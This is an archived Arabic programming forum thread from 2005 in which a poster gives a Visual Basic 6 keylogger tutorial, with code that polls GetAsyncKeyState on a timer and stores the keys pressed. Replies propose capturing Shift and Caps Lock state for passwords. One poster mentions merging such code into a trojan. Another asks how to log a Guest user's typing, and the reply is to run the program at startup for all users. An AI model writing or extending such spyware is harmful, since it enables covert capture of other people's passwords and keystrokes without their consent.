الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

كى لوجر مع الشرح + الكود + مثال

مغلق
بدأه net_code في 4 أغسطس 2005 · 19 رد · 16,769 مشاهدة · في قسم الدروس والمواضيع الهامة
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

بسم الله الرحمن الرحيم

أولا أود أن أتقدم بالشكر لكل القائمين على المنتدى

و أقدم لكم شرح لكى لوجر كمثال على تقنية wide hook

وكما وعدت أخى طارق إبراهيم

نبدأ الشرح

أولا أفتح مشروع جديد

و أضف موديول

و ألصق بها الكود الآتى

أولا نعرف الثوابت

Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10

ثم نعرف دوال الأيه بى أى التى سوف نستخدمها

تقوم بتشغيل تايمر مده محدده

Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long

تقوم بإيقاف التايمر

Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long

تحدد إذا كان الزرتم الضغط عليه أم لا

Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

ثم نقوم بالإعلان عن المتغيرات

Global Cnt As Long, sSave As String, sOld As String, Ret As String  
Dim Tel As Long

نقوم بكتابة الفانكشن الآتيه

Function GetPressedKey() As String
   For Cnt = 32 To 128
        If GetAsyncKeyState(Cnt) <> 0 Then ' قوم بإختبار أن هذا الزر مضغوط أم لا     
           GetPressedKey = Chr$(Cnt) ' فى حالة إذا كان مضغوط تحمل getpressedkey قيمته
           Exit For
       End If
   Next Cnt
End Function

و السب الآتيه

Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
   Ret = GetPressedKey ' نقوم بتخزين قيمة  الزر فى المتغير ret
   If Ret <> sOld Then   
       sOld = Ret
       sSave = sSave + sOld 'نقوم بتخزين قيم الأزرار فى ssave بحيث تحمل قيم جميع الأزرار التى تم الضغط عليها
   End If
End Sub

نأتى للفورم

فى الحدث load نشغل التايمر

SetTimer Me.hwnd, 0, 1, AddressOf TimerProc

و عندما نريد أيقافه

 KillTimer Me.hwnd, 0
  'ثم نعرض المفاتيح
   MsgBox sSave

و أرجو أن أكون قد وفقت فى الشرح

key.rar

تم تعديل هذه المشاركة بواسطة net_code في 4 أغسطس 2005 في 15:17

لا تراجع و لا إستسلام

#2

جزاك الله خير أخى

Nothing to mention except that I am Muslim

Using your brain is not bad as you think

My Blog

logo.jpg

#3

العفو

و شكرا على ردك السريع

لا تراجع و لا إستسلام

#4

ياباشا شرحك مش كويس بس

دا جاااااااااااااااااااااااااااااااااامد

Gawish Soft

الشركة المصرية لأنتاج البرامج المجانية المساهمة

يا مقرب القلوب قربنى أليك

#5

شكرا يا عم مش للدرجه دى

بس ياريت أى حاجه مش مفهومة تقولوا

و شكرا على التفاعل

لا تراجع و لا إستسلام

#6

الشرح ممتاز :)

ولكن هناك بعض الاضافات الضرورية لل KEYLOGGER

1 - مثل معرفة حالة زرار SHIFT و مفتاح ال CAPS LOCK لمعرفة اذا كان الحرف قد كتب CAPITAL OR SMALL - حيث ان مثل هذه الاضافة ضرورية فى حالة كلمات المرور

2 - وايضا معرفة حالة لوحة المفاتيح هل هى تكتب باللغة العربية او الاجنبية

3 - ومن الافضل التعرف على باقى ازرار لوحة المفاتيح مثل ال TAB و F1 - F12 و DELETE .... الخ

هذه الاضافات برمجتها من قبل و ادمجتها مع TROJAN HOURSE و لكن للاسف مسحت عن طريق الخطأ

و منتظر جديدك إن شاء الله :)

1- لا خير في حسن الجسوم وطولها إن لم يزن حسن الجسوم عقول

2- لا تنظر إلى صغر الخطيئة .. ولكن انظر إلى عظم من عصيت

3- قد يجمع المال غير آكله . . ويأكل المال غير من جمعه

4- من وثق بالله أغناه ومن توكل عليه كفاه ومن خافه قلت مخافته ومن عرفه تمت معرفته

5- أن تضيء شمعة صغيرة خير لك من أن تنفق عمرك تلعن الظلام

6- لا يحزنك إنك فشلت مادمت تحاول الوقوف على قدميك من جديد

7- صديقك من يصارحك بأخطائك لا من يجملها ليكسب رضاءك

8 - الابتسامة كلمة طيبة بغير حروف

9- لا داعى للخوف من صوت الرصاص .. فالرصاصة التى تقتلك لن تسمع صوتها

10 -- يستطيع الناس أن يعيشوا بلا هواء بضع دقائق وبلا ماء أسبوعين وبلا

طعام حوالى شهرين وبلا أفكار سنوات لا حصر لها

من مواضيعى :

--------------

دروس تعلم كيف تصحح أخطائك بنفسك

برنامج الحائط النارى العربى ---- جديد

برنامج ساعة بالعقارب ------ جديد

لعبة سناك الشهيرة مع الكود

غير نظرتك لل picturebox وانظر ماذا فعلت بها

حمل ملف فلاش على الفورم بكل سهولة

مكتبة تحتوى على 50000 كتاب مجانى معظمها عن الكمبيوتر و البرمجة

برنامج المترجم العربى لترجمة الافلام

#7

أنا شرحت بس الطريقه المبدئيه للتجسس على لوحة المفاتيح أو الإعتراض

و بالنسبه للإضافات التى ذكرتها سوف أضيفها بإذن الله

و شكرا على الرد

لا تراجع و لا إستسلام

#8

السلام عليكم

ممتاز ، ولكن .....

س1 : ماذا لو ضغط المستخدم على نفس الزر مرتين ؟

انظر لهذا السطر :

 If Ret <> sOld Then   
      sOld = Ret

إن الزر الثاني لن يؤخذ في الاعتبار . لأن الشرط لن يتحقق . :rolleyes:

س2 : كيف لو ضغط المستخدم على أكثر من زر في نقس الوقت ؟

حسب الدالة التي تستخدمها :

GetAsyncKeyState(Cnt)

لن تحمل إلا قيمة زر واحد :s

ما أريد قوله هو :

1 - لمَ لا تستخدم الخطاف HOOK و طريقة Call Back بدل الموقت Timer ؟

وبهذا تتغلب على السؤال رقم 1

2 - لمَ لا تستخدم الدالة GetKeyboardState بدلاً من الدالة GetAsyncKeyState ؟

طبعاً الفرق بينهما أن الأولى تعود بمصفوفة (من صفر إلى 255) تمثل قيم كل أزرار لوحة المفاتيح .

أم الثانية فتعود بقيمة زر واحد فقط .

وبهذا تتغلب على السؤال رقم 2

هذه مجرد مشاركة لإثراء الحوار

أسأل الله التوفيق للجميع :)

أخي سوف تبكي عليك العيون * * * وتـسـأل عـنك دمـوع المـئـين

فإن جف دمعي سيبكي الغمام * * * يـرصـع قـبرك بــالـياسـمـيـن

أخـي مـا يـأسـنـا ولـن نيـأسـا * * * وما طال في القلب لبث الأسى

ومـا حـل أفــئــدة الــمــــؤمـن * * * سـوى أمـل في الـجنـان رسـى

أخي فانتظر ولتعش في غـد * * * سـيـنـبـثـق الأمـل الـسـرمـد

فـإن مـزقـتـنـا سني الــحـيـاة * * * فإنـا مع الـنصـر فـي مـوعــد

#9

أولا شكرا على تعليقك

بالنسبه للسؤال رقم واحد : سيتم تسجيل قيمة الأزرار حتى لو ضغط على نفس الزر مرتين و هذا بسبب

أن ret = getpressedkey

و بعد رفع الضغط عن الزر (عدم الضغط على أى من الأزرار )

تكون ret = ""

و بالتالى sOld = ""

و لذلك فإن الشرط

If Ret <> sOld Then

sOld = Ret

سيتحقق

إلا فى حالة تساوى ret و sold و هذا سيكون فقط عند عدم الضغط على أى من الأزرار

بس ياريت تبقى تحط مثال على أستخدام hook وcall back

و بالنسبه للسؤال الثانى أنت محق

فالداله GetKeyboardState ستعود بالمصفوفه و بالتالى يمكن معرفة إذا كان تم الضغط على أكثر من زر

و إن كنت لم أستخدم هذه الداله حتى الآن و لكنى سأستخدمها و سأخبركم بالنتيجه

تم تعديل هذه المشاركة بواسطة net_code في 6 أغسطس 2005 في 16:28

لا تراجع و لا إستسلام

#10

موضوع جميل جدا

#11

رائــــــــــــــــــــــــــــــــnet_codeــــــــــــــــــــــــــــــــــع

تم تعديل هذه المشاركة بواسطة newhotta في 14 يناير 2006 في 23:27

bartkr7.png
#12

يا شباب هام جداً

اريد أن أعرف كيف أطبع فورم على الورقة ولكن المهم كيف اطبع الصفحة بالعرض ارجو الافادة ولك الشكر

#13

عاجز عن الشكر

مع ان شرح بسيط لكنه -مع شوية صبر- يصير جيد

بالإضافة إلى ملاحظة الأسطورة VB6-Rocket

#14

السلام عليكم ورحمة الله وبركاته

اخونى اشكركم على ماقمتوبه من مجهودات ممتازه

لكن انا لي شوي سؤال عن المفاتيح الماذا لاتطلع جميع المفاتيح مع العلم اني عدلت في القيمه

For Cnt = 0 To 255

ولكن بقيت بعض المفاتيح مثل اللى فوق بوسطة شفت

مثل ّ!@#$$%%^^&&*)("

وشكرا جزيلان

#15

شكر

#16

شكرا

#17

شكرا لكم جميعا على الرد

و لكن هذه الطريقة هى أبسط الطرق للتجسس على لوحة المفاتيح و هى غير مجدية فى أغلب الأحيان

الطريقة الأصح هى مراقبة بعض الرسائل مثل wm_keydown و غيرها

ده غير إن الطريقة اللى أنا شرحتها لاتدعم اليونيكود و ال wide char

لا تراجع و لا إستسلام

#18

عاوزين ابديت لهذا المشروع الرائع

وياريت من ضمن التحديث ان يشتغل على كل اليوزرس

يعني انا عندي دلوقتي user name على الجهاز بتاعي

وعندي Guest

انا هاشغل البرنامج من على اليوزر بتاعى

واعمل سويتش اوف لليوزر بتاعي

واي جيست هايخش على الGuest

البرنامج يتابعه

حد فاهمني

؟؟؟

Mohamed Ali Salim

0.1..0...4....7.....6......2.......7........4.........8

#19
MohamedAliSalim كتب:
عاوزين ابديت لهذا المشروع الرائع

وياريت من ضمن التحديث ان يشتغل على كل اليوزرس

يعني انا عندي دلوقتي user name على الجهاز بتاعي

وعندي Guest

انا هاشغل البرنامج من على اليوزر بتاعى

واعمل سويتش اوف لليوزر بتاعي

واي جيست هايخش على الGuest

البرنامج يتابعه

حد فاهمني

؟؟؟

حطه يشتغل فى الـ Start Up لكل الأعضاء و لكن الكود بالموضوع ده يعتمد على Timer و GetKeyboardState و بالتالى حمل على الجهاز و نتائج مفقودة كتير.

#20

جوزيت خيرا , وأكلت طيرا , وزوجت بكرا , وأنجبت جيشا يقاتل في سبيل الله

هذا الموضوع مغلق.

مواضيع مشابهة